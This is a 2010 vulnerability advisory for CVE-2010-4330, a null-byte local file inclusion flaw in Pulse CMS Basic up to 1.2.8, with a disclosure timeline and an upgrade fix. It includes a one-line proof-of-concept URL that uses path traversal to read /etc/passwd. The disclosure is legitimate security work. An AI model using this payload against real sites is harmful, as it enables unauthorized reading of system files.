Pulse CMS Basic - Local File Inclusion

'Pulse CMS Basic' Local File Inclusion Vulnerability (CVE-2010-4330)

Mark Stanislav - mark.stanislav@gmail.com





I. DESCRIPTION

---------------------------------------

A vulnerability exists in the 'includes/controller.php' script that allows for arbitrary local file inclusion due to a null-byte attack.



 

II. TESTED VERSION

---------------------------------------

Version 1.2.8





III. AFFECTED VERSIONS

---------------------------------------

< 1.2.9





IV. PoC EXPLOIT

---------------------------------------

http://www.example.com/index.php?p=/../../../../../../../../../../../../../../etc/passwd%00





V. NOTES 

---------------------------------------

* magic_quotes_gpc must be disabled for null-byte attacks to work

* This issue did not affect Pulse CMS Pro according to the vendor





VI. SOLUTION

---------------------------------------

Upgrade all previously installed versions to 1.2.9





VII. REFERENCES

---------------------------------------

http://pulsecms.com/

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4330

http://www.uncompiled.com/2010/12/pulse-cms-basic-local-file-inclusion-vulnerability-cve-2010-4330/





VIII. TIMELINE

---------------------------------------

11/24/2010: Initial vendor disclosure

11/25/2010: Vendor response that they had fixed the issue & updated the existing version (1.2.8)

11/25/2010: Replied to vendor inquiring if a new point release would be made and affected versions

11/26/2010: Vendor response noting a version increment was coming & vulnerable versions confirmation

11/26/2010: Pulse CMS Basic 1.2.9 released

12/05/2010: Public disclosure